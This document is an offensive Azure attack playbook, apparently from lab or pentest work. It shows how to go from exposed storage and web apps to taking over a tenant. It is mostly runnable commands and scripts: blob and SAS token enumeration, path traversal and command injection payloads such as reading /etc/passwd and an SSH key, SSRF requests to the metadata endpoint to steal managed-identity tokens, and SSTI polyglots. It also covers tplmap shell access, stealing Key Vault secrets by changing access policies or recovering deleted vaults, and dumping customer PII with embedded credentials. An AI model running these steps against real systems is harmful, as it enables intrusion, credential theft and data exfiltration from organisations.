Azure - Exploiting Storage, Web, App Services and Managed Identity (2024)

Exploiting web applications, app services and exposed storage resources are another viable way to gain access to a tenant. We’re interested in web vulnerabilities that allow us to take control over the server/serverless resource in order to read its Environment Variables for connection strings or exploit a managed identity to retrieve access tokens from the metadata endpoint inside each resource.

Finding Services

  • App Services – (azure-api.net, cloudapp.net, azurewebsites.net)

  • Storage Accounts – (file, blob, queue, table.core.windows.net)

  • Databases (database.windows.net, documents.azure.com, redis.cache.windows.net)

  • Email/SharePoint/Hosted Domain – (onmicrosoft.com, mail.protection.outlook.com, sharepoint.com)

Storage

Noticed assets hosted on blob storage, decided to see if the company used Azure more extensively.

Check if Domain is Managed
$domain = "corpomax.com"$parts = $domain.Split('.')$root = $parts[0]# Check if Managed by EntraIDcurl.exe -v "https://login.microsoftonline.com/getuserrealm.srf?login=$domain&xml=1"# Get tenant ID & Check OpenID config$resp = curl.exe -v "https://login.microsoftonline.com/$domain/.well-known/openid-configuration"$jsonResp = $resp | ConvertFrom-Json# Extract the token_endpoint value$tokenEndpoint = $jsonResp.token_endpoint# Split the URL at '.com/' and take the second part (index 1)$tenant = $tokenEndpoint.Split('.com/')[1]Write-Output $tenant
Storage - Az Enumeration
Get-AzStorageAccount $SAName = "defcorpcodebackup"$context = New-AzStorageContext -StorageAccountName $SAName# Get the containers in the account$containers = Get-AzStorageContainer -Context $contextWrite-Output $containers# Enumerate each containerforeach ($container in (Get-AzStorageContainer -Context $context)) { Get-AzStorageBlob -Container $container.Name -Context $context }
Storage - Insecure Public Storage Blobs

Start by enumerating blobs and public services using the name we found.

Download Storage explorer

https://azure.microsoft.com/en-us/products/storage/storage-explorer

git clone https://github.com/NetSPI/MicroBurstcd MicroburstImport-Module .\MicroBurst.psm1cd .\Misc. .\Invoke-EnumerateAzureBlobs.ps1Invoke-EnumerateAzureBlobs -Base $root

If you can access, open the account in Storage Explorer.

Storage - Authenticated Enumeration and Download Contents
# Get storage accountsaz storage account list #Get the account name from here# Get keys to authenticate$name = "configs"az storage account keys list --account-name $name# Get sharesaz storage share list --account-name $name --account-key $key# Get dirs/files inside the shareaz storage file list --account-name $name --share-name <share-name> --account-key $key## If type is "dir", you can continue enumerationg files inside of itaz storage file list --account-name $name --share-name <prev_dir/share-name> --account-key $key# Download a complete share (with directories and files inside of them)az storage file download-batch -d . --source <share-name> --account-name $name --account-key $key
Storage - Blobhunter - Tenant-wide msiconfigurations

If you have Owner, Contributor, Storage Account Controller or any of these rights

Microsoft.Resources/subscriptions/readMicrosoft.Resources/subscriptions/resourceGroups/readMicrosoft.Storage/storageAccounts/readMicrosoft.Storage/storageAccounts/listkeys/actionMicrosoft.Storage/storageAccounts/blobServices/containers/readMicrosoft.Storage/storageAccounts/blobServices/containers/blobs/read

you can enumerate all the blobs with Blobhunter.

Storage - Blobhunter - Enumerate Misconfigured Blobs
git clone https://github.com/cyberark/BlobHunter.gitcd Blobhunterpip3 install -r requirements.txt# run the scriptpython3 BlobHunter.py

SAS Tokens - Discovering SAS Strings

Use trufflehound to scan git repos, check open storage, teams and outlook messages for SAS tokens that look like this. They’ll get you into more storage.

https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D

SAS Tokens - Use a found SAS token to connect to storage via Python
#pip3 install azure-storage-blobfrom azure.storage.blob import BlobServiceClient# List containersconn_str="<SAS URL>"svc = BlobServiceClient.from_connection_string(conn_str=conn_str)for c in svc.list_containers(): print(c['name']# List blobs inside conteinercontainer = svc.get_container_client(container="<container_name>")for b in container.list_blobs(): print(b['name']# Download fileblob = svc.get_blob_client(container="<container_name>",blob="<blob_name>")with open("download.out","wb") as f: f.write(blob.download_blob().readall())

Subdomains

Enumerate File and Storage Services for Subdomains
Invoke-EnumerateAzureSubDomains -Base $root -Verbose
Subdomain Takeover

Guide on taking over various apps and services on azure


Exploiting Web Applications

Let’s say our poking around has led us to a web app we can access. This may be a way in, if we can find the right file inclusion, command injection, or SSRF.

Web Apps - Authenticated Enumeration

If we’re already signed in or gain credentials, check what Web apps we have access to.

# tenant info$sub = az account show --query 'id' -o tsv$tenant = az account show --query 'tenantId' -o tsv# az cli - List webappsaz webapp list# az cli - Less informationaz webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"# set vars$name = ""$group = ""# az cli - Get access restrictionsaz webapp config access-restriction show --resource-group $group -n $name# az cli - Remove access restrictionsaz webapp config access-restriction remove --resource-group $group -n $name --rule-name 'deny-other'# az cli - Get snapshotsaz webapp config snapshot list --resource-group $group -n $name# az cli - Restore snapshotaz webapp config snapshot restore -g $group -n $name --time 2018-12-11T23:34:16.8388367# az cli - Restart webappaz webapp restart --name $name --resource-group $group# AzPowershell - Get App Services and Function AppsGet-AzWebApp# AzPowershell - Get only App ServicesGet-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
Web Apps - Authenticated Credentials and Access Source Code
# Get connection strings that could contain credentials (with DBs for example)az webapp config connection-string list --name $name --resource-group $group## Check how to use the DBs connection strings in the SQL page# Get credentials to access the code and DB credentials if configured.az webapp deployment list-publishing-profiles --resource-group $group -n $name# Get git URL to access the codeaz webapp deployment source config-local-git --resource-group $group -n $name# Access/Modify the code via gitgit clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'## In my case the username was: $nameofthewebapp and the password some random chars## If you change the code and do a push, the app is automatically redeployed
Web Apps - Use Connection Strings for the SQL DB to interact with Tables
$conn = New-Object System.Data.SqlClient.SqlConnection$password='$reporting$123'$conn.ConnectionString = "Server=corpomax-finance.database.windows.net;Database=Finance;User ID=financereports;Password=$password;"$conn.Open()$sqlcmd = $conn.CreateCommand()$sqlcmd.Connection = $conn$query = "SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"$sqlcmd.CommandText = $query$adp = New-Object System.Data.SqlClient.SqlDataAdapter $sqlcmd$data = New-Object System.Data.DataSet$adp.Fill($data) | Out-Null$data.Tables$sqlcmd = $conn.CreateCommand()$sqlcmd.Connection = $conn$query = "SELECT * FROM Subscribers;"$sqlcmd.CommandText = $query$adp = New-Object System.Data.SqlClient.SqlDataAdapter $sqlcmd$data = New-Object System.Data.DataSet$adp.Fill($data) | Out-Null$data.Tables | ft
Web Apps - SSH into WebApp Container
# Connect over SSH$sub = az account show --query 'id' -o tsvaz webapp create-remote-connection --subscription $sub --resource-group $group -n $name## If successfull you will get a message such as:#Opening tunnel on port: 39895#SSH is available { username: root, password: Docker! }## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)ssh root@127.0.0.1 -p 39895

Path Traversal

We looked around and we found an ASP.NET application on App Service. We notice this param:

https://corpomax-dev.azurewebsites.net/status.aspx?status=latest

It had a Path Traversal vuln, where we can open a file one directory up we know exists from the staus page and viewing source

https://corpomax-dev.azurewebsites.net/status.aspx?status=..\status.aspx

We see a .cs csharp file status.aspx.cs in the source

using System;using System.IO;using System.Web.UI;public partial class status : Page{ protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { string statusParam = Request.QueryString["status"]; if (!string.IsNullOrEmpty(statusParam)) { string fileName = statusParam; // Construct the file path using string concatenation string filePath = Server.MapPath("~/status/" + fileName); if (File.Exists(filePath)) { string content = File.ReadAllText(filePath); Response.Write(content); } else { Response.Write("File not found."); } } } }}
Path Traversal - We use Intruder/Sniper on status

https://corpomax-dev.azurewebsites.net/status.aspx?status=latest

We enabled redirects and cookies in the redirects. We found /admin, but we don’t have access.

Then we used Sniper again to enumerate .aspx files we found in admin to try and view source

https://corpomax-dev.azurewebsites.net/admin/status.aspx?status=latest.aspx

Path Traversal - Credentials in Source - Let’s check the source of our file and its linked file

view-source:https://corpomax-dev.azurewebsites.net/status.aspx?status=../admin/login.aspx

view-source:https://corpomax-dev.azurewebsites.net/status.aspx?status=../admin/login.aspx.cs

private const string ValidEmail = ”admin@corpomax.com”;private const string ValidPassword = “b1gm0n3y@DMIN!“;

Then login at https://corpomax-dev.azurewebsites.net/status.aspx?status=../admin/login.aspx


Command Injection

Our first web app led us to the existence of another, let’s check it out.

Command Injection - Enumerate Available WebApps
Get-AzWebApp -Name $root-cmsGet-AzWebApp -Name $root-cms | select enabledhostnames
Command Injection - Interesting Extensions
  • Backup Files: .bak, .backup, .old, .orig, .tmp, .temp
  • Configuration Files: .config, .ini, .conf
  • Server-Side Scripting Files: .asp, .aspx, .jsp, .jspx, .cfm, .cgi
  • Database Files: .sql, .db, .mdb
  • Log Files: .log, .audit
  • Source Code Files: .git, .svn, .cs, .java, .py, .php, .js, .xml, .html, .htm
  • Saved and Temporary Files: .save, .swp, .swo, .tmp, .temp, .backup
  • Compressed and Archived Files: .zip, .tar, .gz, .rar, .7z
  • Documentation and Notes: .txt, .md, .pdf, .doc, .docx, .xls, .xlsx, .ppt, .pptx
  • Web Server Files: .htaccess, .htpasswd
  • Executable Files: .exe, .dll, .so, .bin
  • Certificate and Key Files: .pem, .key, .csr, .crt
Command Injection - Feroxbuster - Enumerate WebApp, extract links from response and look for source files
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zipExpand-Archive .\feroxbuster.zip$web = "http://corpomaxcrm.corpomax.com"# Enumerate, extract links from responses, auto-tune rate limiting.\feroxbuster\feroxbuster.exe -u $web --extract-links --auto-tune# Enumerate files for documents, php and asp files.\feroxbuster\feroxbuster.exe -u $web -x pdf -x js,html,cs -x php,txt,json,docx,asp,aspx
Command Injection - Feroxbuster - Look for backup files and temp files
# Enumerate files for backup, temp and config files.\feroxbuster\feroxbuster.exe -u $web -x bak,backup,old,orig,tmp,temp -x config,conf,ini -x save,swp,swo,txt

We found a tracking page where we have reflection via entering a tracking number input

Command Injection - Test for command injection
# see if we're running a CLI tool in the background$(pwd)$(id)
Command Injection - Enumerate possibilities w/ command injection
$(cat /etc/passwd)$(ls)$(ls /)$(ls /file_backups/)

We see index.php.save, a nano save, and some backup files

Command Injection - FFUF - Another option to Fuzz for Backup files to find the command injection
iwr https://github.com/ffuf/ffuf/releases/download/v2.1.0/ffuf_2.1.0_windows_amd64.zip -o ffuf.zipExpand-Archive .\ffuf.zip.\ffuf\ffuf.exeiwr https://raw.githubusercontent.com/xajkep/wordlists/master/discovery/backup_files_only.txt -o backupfiles.txt.\ffuf\ffuf.exe -w .\backupfiles.txt -u http://$web/FUZZ
Command Injection - Fix Found SSH Key Encoding
# Found a key$(cat /file_backups/id_rsa | base64 -w0)

If we find command injection, we can start enumerating ENV variables and look for connection strings, or get access tokens for the resource we control.


SSRF

If we found an app vuln to SSRF, there are some things we can try.

SSRF - Bash - Curl IMDS from Inside a Container or VM
HEADER="Metadata:true"URL="http://169.254.169.254/metadata"API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versionsecho "Instance details"curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"echo "Load Balancer details"curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"echo "Management Token"curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"echo "Graph token"curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"echo "Vault token"curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"echo "Storage token"curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
SSRF - Pwsh - IWR IMDS from Inside a Container or VM
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
SSRF - App Service

From the env you can get the values of IDENTITY_HEADER and IDENTITY_ENDPOINT. That you can use to gather a token to speak with the metadata server.Most of the time, you want a token for one of these resources:https://storage.azure.comhttps://vault.azure.nethttps://graph.microsoft.comhttps://management.azure.com

SSRF - Curl From Inside App Service
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls /opt/microsoft#and the filels /opt/microsoft/msodbcsql17# Get management tokencurl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER# Get graph tokencurl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl -H "Authorization: $TOKEN" "$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl -H "Authorization: $TOKEN" "$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl -H "Authorization: $TOKEN" "$URL"
SSRF - Powershell Requesting APIs with token
# API request in powershell to management endpoint$Token = 'eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" }}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token = 'eyJ0eX..'$URI = 'https://graph.microsoft.com/v1.0/applications'$RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" }}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module with both management and graph tokens$token = 'eyJ0e..'$graphaccesstoken = 'eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource
SSRF - No Rights - The following error means that the user doesn’t have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+ Get-AzResource+ ~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException + FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

SSTI - Server Side Template Injection

SSTI - Playground with most relevant template engines
SSTI - Comprehensive Cheatsheet Repo
SSTI - Interactive Template Injection Table
SSTI - Misc Resources
SSTI - Detection

As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as the polyglot ${{<%[%’”}}%.

In order to check if the server is vulnerable you should spot the differences between the response with regular data on the parameter and the given payload.If an error is thrown it will be quiet easy to figure out that the server is vulnerable and even which engine is running. But you could also find a vulnerable server if you were expecting it to reflect the given payload and it is not being reflected or if there are some missing chars in the response.

If the given input is being rendered and reflected into the response, this is easily mistaken for a simple XSS vulnerability, but it’s easy to differentiate if you try to set mathematical operations within a template expression:

SSTI - Detection Polyglot and Math Test Operations
${{<%[%'"}}%\.{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}*{7*7}
SSTI - Detect - Code Context

In these cases the user input is being placed within a template expression:engine.render(“Hello {{“+greeting+”}}”, data)

The URL access that page could be similar to: http://vulnerable-website.com/?greeting=data.usernameIf you change the greeting parameter for a different value the response won’t contain the username, but if you access something like: http://vulnerable-website.com/?greeting=data.username}}hello then, the response will contain the username (if the closing template expression chars were }}).

If an error is thrown during these test, it will be easier to find that the server is vulnerable.

SSTI - Identify Template Engine

Payloads to generate errors to aid in identifying the engine. Use this chart to determine which engine.

image: https://1517081779-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-M7O4Hp6bOFFkge_yq4G%2F-M7OCvxwZCiaP8Whx2fi%2Fimage.png?alt=media&token=4b40cf58-5561-4925-bc86-1d4689ca53d1

SSTI - Finding Jinja2 / Twig template
${7*7}{{7*7}}{{7*'7'}}

The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:‘For Template Authors’ sections covering basic syntax.‘Security Considerations’ - chances are whoever developed the app you’re testing didn’t read this, and it may contain some useful hints.Lists of builtin methods, functions, filters, and variables.Lists of extensions/plugins - some may be enabled by default.

If there’s no builtin self object you’re going to have to bruteforce variable names using SecLists and Burp Intruder’s wordlist collection.Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.

SSTI - Tools
SSTI - TinjA - SSTI/CSTI Scanner with novel polyglots
go install -v github.com/Hackmanit/TInjA@latest# basictinja url -u "http://example.com/"# multiple sitestinja url -u "http://example.com/" -u "http://example.com/path2"# list of urlstinja url -u "file:/path/to/file"# use Auth Headertinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."# Add POST body to requesttinja url -u "http://example.com/" -d "username=Kirlia&password=notguessable"# Use authenticated session cookie and add POST bodytinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."# scan for CSTI using headless browsertinja url -u "http://example.com/" --csti# JSON report, will update after each scanned URLtinja url -u "http://example.com/" --reportpath "/home/user/Documents"# To scan HTTPS thru a Proxy, you need a certificate# Convert Burpsuite CA .DER to .PEM for Tinjaopenssl x509 -inform DER -outform PEM -text -in cacert.der -out cacert.pem# Use the .PEM and the proxy with rate-limiting of 10 requests per secondtinja url -u "http://example.com/" --proxyurl "http://127.0.0.1:8080" --proxycertpath "/home/user/Documents/cacert.pem" --ratelimit 10
SSTI - Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shellpython2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
SSTI - Wordlist for Bruteforcing Vars:

https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt

SSTI - Jinja Specific Resources

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti


Managed Identity

First thing to check for is if we’re running as a Managed Identity. The local endpoint running on the system can be used to request access tokens for services the managed identity has access to. The application reads the IDENTITY_ENDPOINT and IDENTITY_HEADER, present locally. The application code makes request to the url in the ENDPOINT var something like:

http://127.0.0.1:41373/MSI/token

And passes the HEADER value as well as the API of the resource it wishes to authenticate to, usually with query params

Managed Identity - Check for the Manged Service Identity ENV VARS, see if we’re running as a managed ID
env | grep -i -e "msi"env | grep “IDENTITY”
Managed Identity - Make a request to Azure Management API to retrieve access token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

This gets us the access token and the clientId. We can use this to authenticate.

Managed Identity - Authenticated Recon with Powershell, lateral movement to KeyVault
Install-Module -Name Az -Repository PSGallery -ForceImport-Module -Name Az -Force$access_token = ""$client_id = ""Connect-AzAccount -AccessToken $access_token -AccountId $client_id# Enumerate what we have access to, including a key vaultGet-AzResourceGet-AzRoleAssignment# Check out the KeyvaultGet-AzKeyVault -VaultName command33rk33n
Managed Identity/KeyVault - Retrieve KeyVault access token and clientId

Lets curl now for the KeyVault access token

curl -i "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 " -H "secret:$IDENTITY_HEADER" -v
Managed Identity/KeyVault - Retrieve Secrets from the KeyVault API Directly

Now that we have the KeyVaults access token, let’s check out that dbFlags value

# Replace these variables with your specific values$KeyVaultName = "command33rk33n"$SecretName = "dbFlag"$AccessToken = "$access_token"# Construct the URL for accessing the secret$KeyVaultUrl = "https://$KeyVaultName.vault.azure.net/secrets/$SecretName/?api-version=7.2"# Create a header with the access token$headers = @{"Authorization" = "Bearer $AccessToken"}# Retrieve the secret from Azure Key Vault$response = Invoke-RestMethod -Uri $KeyVaultUrl -Headers $headers# Display the secret value$SecretValue = $response.valueWrite-Host "Secret Value: $SecretValue"
AzureSQL - Check the Env Vars for Azure SQL DB strings
envenv | grep -i -e "DB"
SQLCMD - Dumping PII
sqlcmd -S corpomaxsqlserver.database.windows.net -U dbcooper -P 'Numb@OneStunn@' -d customerdevneddb -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'"sqlcmd -S corpomaxsqlserver.database.windows.net -U dbcooper -P 'Numb@OneStunn@' -d customerdevneddb -Q "SELECT * FROM CustomerData"

KeyVault

We found a keyvault for external contractors in content-static-2 rg

ext-contractors content-static-2

KeyVault - Check vault contents
az login # Set variables$VaultName = "ext-contractors"# Set the current Azure subscription$SubscriptionID = ""az account set --subscription $SubscriptionID# List and store the secrets$secretsJson = az keyvault secret list --vault-name $VaultName -o json$secrets = $secretsJson | ConvertFrom-Json# List and store the keys$keysJson = az keyvault key list --vault-name $VaultName -o json$keys = $keysJson | ConvertFrom-Json# Output the secretsWrite-Host "Secrets in vault $VaultName"foreach ($secret in $secrets) { Write-Host $secret.id}# Output the keysWrite-Host "Keys in vault $VaultName"foreach ($key in $keys) { Write-Host $key.id}
KeyVault - Get Secrets and Try Them Out
# Set variables$VaultName = "ext-contractors"$SecretNames = @("alissa-suarez", "josh-harvey", "ryan-garcia")# Set the current Azure subscription$SubscriptionID = ""az account set --subscription $SubscriptionID# Retrieve and output the secret valuesWrite-Host "Secret Values from vault $VaultName"foreach ($SecretName in $SecretNames) { $secretValueJson = az keyvault secret show --name $SecretName --vault-name $VaultName -o json $secretValue = ($secretValueJson | ConvertFrom-Json).value Write-Host "$SecretName - $secretValue"}
KeyVault - See if the contractor names in the vault match existing entraID accounts
az ad user list --query "[?givenName=='Alissa' || givenName=='Josh' || givenName=='Ryan'].{Name:displayName, UPN:userPrincipalName, JobTitle:jobTitle}" -o table
KeyVault - Further Enumeration with Powershell
# Get keyvault tokencurl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER## Connect with $token from management APIConnect-AzAccount -AccessToken $token -AccountId $clientId -KeyVaultAccessToken $keyvaulttoken# List vaultsGet-AzKeyVault$vault = ""# Get secrets names from the vaultGet-AzKeyVaultSecret -VaultName $vault# Get secret valuesGet-AzKeyVaultSecret -VaultName $vault -Name cert –AsPlainText
KeyVault - Gather secrets from vaults, automations and app service
Import-Module Microburst.psm1# Get-AzurePasswordsGet-AzurePasswords -Verbose | Out-GridView
Key Vault 07- Modify Access Policy and Abuse Decryption Key
$encstr = ""$user = ""$pass = ""$rg = ""$kvName = ""$vault = Get-AzKeyVault -name $kvName
# We cant read the secret itself$secret = Get-AzKeyVaultSecret -vaultName $kvName
# see if we cna modify thw access policy$currentUser = Get-AzADUser -UserPrincipalName (Get-AzContext).Account$objectId = $currentUser.Id$currentUser.UserPrincipalNameSet-AzKeyVaultAccessPolicy -VaultName $kvName -UserPrincipalName $currentUser.UserPrincipalName -PermissionsToKeys all 
# Still does nothing, we want a decryption key not a secret Get-AzKeyVaultSecret -vaultName $kvName # so for the key Get-AzKeyVaultKey -VaultName $kvName
# Use the Decryption Key on the Encrypted String$keyName = "aszbitlonyar3158364"Invoke-AzKeyVaultKeyOperation -Operation Decrypt -Algorithm RSA1_5 -Value (ConvertTo-SecureString $encstr -AsPlainText -Force) -VaultName $kvName -Name $keyName 
# Access Policy AdditionalSet-AzKeyVaultAccessPolicy -VaultName $kvName -ObjectId $objectId -PermissionsToKeys all  -PermissionsT oKeys decrypt,encrypt,unwrapKey,wrapKey -PermissionsToSecrets get,set,list -PermissionsToCertificates get,list
Key Vault 08- Recover Deleted Key Vault and Abuse Secrets
$encStr = ""$user = ''$pass = ''$passwd = ConvertTo-SecureString $pass -AsPlainText -Force$creds = New-Object System.Management.Automation.PSCredential ("$user", $passwd)Connect-AzureAD -Credential $credsConnect-AzAccount -Credential $creds# we see no secrets$kvName = "asyqunzfrjwx3707292"Get-AzKeyVault -VaultName $kvNameGet-AzKeyVaultSecret -vaultName $kvName# list deleted secrets Get-AzKeyVault -VaultName $kvName -InRemovedState# Recover deleted Keys$keyName = ""$resourceGroupName= ""$location = ""Undo-AzKeyVaultRemoval -VaultName $kvName -ResourceGroupName $ResourceGroupName -Location $location# decrypt encrypted string with the keyInvoke-AzKeyVaultKeyOperation -Operation Decrypt -Algorithm RSA1_5 -Value (ConvertTo-SecureString $encStr -AsPlainText -Force) -VaultName $kvName -Name $keyName
Key Vault 09 - Recover Deleted Key Vault and Abuse Secrets
$kvName = ""$user = '' $pass = ''Get-AzKeyVault -VaultName $kvNameGet-AzKeyVaultSecret -vaultName $kvName# list deleted vaults, found many$vaults = Get-AzKeyVault -InRemovedState# Find the vault that matches $kvName and store its location in $vaultLoc$vaultLoc = $vaults | Where-Object { $_.VaultName -eq $kvName } | Select-Object -ExpandProperty Location$vaultLoc$location = $vaultLoc# Get the resource Group from Resource ID$vaultResourceGroup = $vaults |  Where-Object { $_.VaultName -eq $kvName } |  ForEach-Object { # Split the ResourceId to extract the resource group name $resourceIdParts = $_.ResourceId -split '/' $resourceGroupIndex = [Array]::IndexOf($resourceIdParts, "resourceGroups") + 1 $resourceIdParts[$resourceGroupIndex] }$vaultResourceGroup$resourceGroupName = $vaultResourceGroup# get the deleted vault we want$target = Get-AzKeyVault -InRemovedState -VaultName $kvName -Location $vaultLoc# restoreUndo-AzKeyVaultRemoval -VaultName $kvName -ResourceGroupName $ResourceGroupName -Location $location# we have get list on keys and secrets, decrypt on keysGet-AzKeyVaultSecret -vaultName $kvName$secretName = "astslafpbhuj3709044"$secret = Get-AzKeyVaultSecret -vaultName $kvName -name $secretName#$secret = Get-AzKeyVaultSecret -vaultName $kvName -name $secretName -AsPlainText# Convert the secret value to a plain text (if necessary)$secretValue = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secret.SecretValue))# Output the secret value$secretValue# IMPORTANT: Get the key, this is why it failed before$key = Get-AzKeyVaultKey -VaultName $kvName# az keyvault secret show --vault-name $kvName --name $secretNameInvoke-AzKeyVaultKeyOperation -Operation Decrypt -Algorithm RSA1_5 -Value (ConvertTo-SecureString $secretValue -AsPlainText -Force) -VaultName $kvName -Name $key.Name

Azure SQL

Managed SQL on Azure

Azure SQL - Enumeration
$name =""$group=""# serversaz sql server listaz sql server show --resource-group $group --name $nameaz sql db list --server <server> --resource-group $group# managed instancesaz sql mi listaz sql mi show --resource-group $group --name $nameaz sql midb listaz sql midb show --resource-group $group --name $name# VMsaz sql vm listaz sql vm show --resource-group $group --name $name
Azure SQL - Connecting with Strings
function invoke-sql{ param($query) $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fa*g!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" $Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string $Connection.Open() $Command = New-Object System.Data.SqlClient.SqlCommand $Command.Connection = $Connection $Command.CommandText = $query $Reader = $Command.ExecuteReader() while ($Reader.Read()) { $Reader.GetValue(0) } $Connection.Close()}invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'

Function Apps and Connected Resources

If we get Reader rights on a resource with a Function App, we can read source code, including sometimes connection strings and secrets included.

Intereseting Aspects

It’s worth mentioning that the “MICROSOFT_PROVIDER_AUTHENTICATION_SECRET” will also be present if the Function App has been configured to authenticate users via Azure AD. This is an App Registration credential that could be beneficial for gaining access to the tenant.

While the jobs storage data provides a convenient route to access the Function App Storage Account, our primary interest lies in the Function “Master” App Secret, as it can be utilized to overwrite the functions in the app. By overwriting these functions, we can achieve full command execution within the container. This would also enable us to access any linked Managed Identities on the Function App.

Enumerate Function Apps
$functionApps = Get-AzFunctionApp$functionApps | Select-Object Name, ResourceGroupName, Location# Try to list settingsforeach ($app in $functionApps) { Write-Output "Function App: $($app.Name)" Write-Output "Resource Group: $($app.ResourceGroupName)"  try { $settings = Get-AzFunctionAppSetting -ResourceGroupName $app.ResourceGroupName -Name $app.Name $settings | Format-Table } catch { Write-Output "Failed to retrieve settings for $($app.Name). Error: $($_.Exception.Message)" }}# Try to retrieve deployment credentialsforeach ($app in $functionApps) { Write-Output "Function App: $($app.Name)" Write-Output "Resource Group: $($app.ResourceGroupName)"  try { $publishingProfile = Get-AzWebAppPublishingProfile -ResourceGroupName $app.ResourceGroupName -Name $app.Name $publishingProfile } catch { Write-Output "Failed to retrieve publishing profile for $($app.Name). Error: $($_.Exception.Message)" } # Get Role Assignments try { # Construct the scope for the Function App $scope = "/subscriptions/$($app.Id.Split('/')[2])/resourceGroups/$($app.ResourceGroupName)/providers/Microsoft.Web/sites/$($app.Name)"  # Get Role Assignments for the Function App $roleAssignments = Get-AzRoleAssignment -Scope $scope if ($roleAssignments) { Write-Output "Role Assignments for Function App: $($app.Name)" $roleAssignments | Format-Table -Property PrincipalName, RoleDefinitionName, PrincipalType } else { Write-Output "No role assignments found for $($app.Name)." } } catch { Write-Output "Failed to retrieve role assignments for 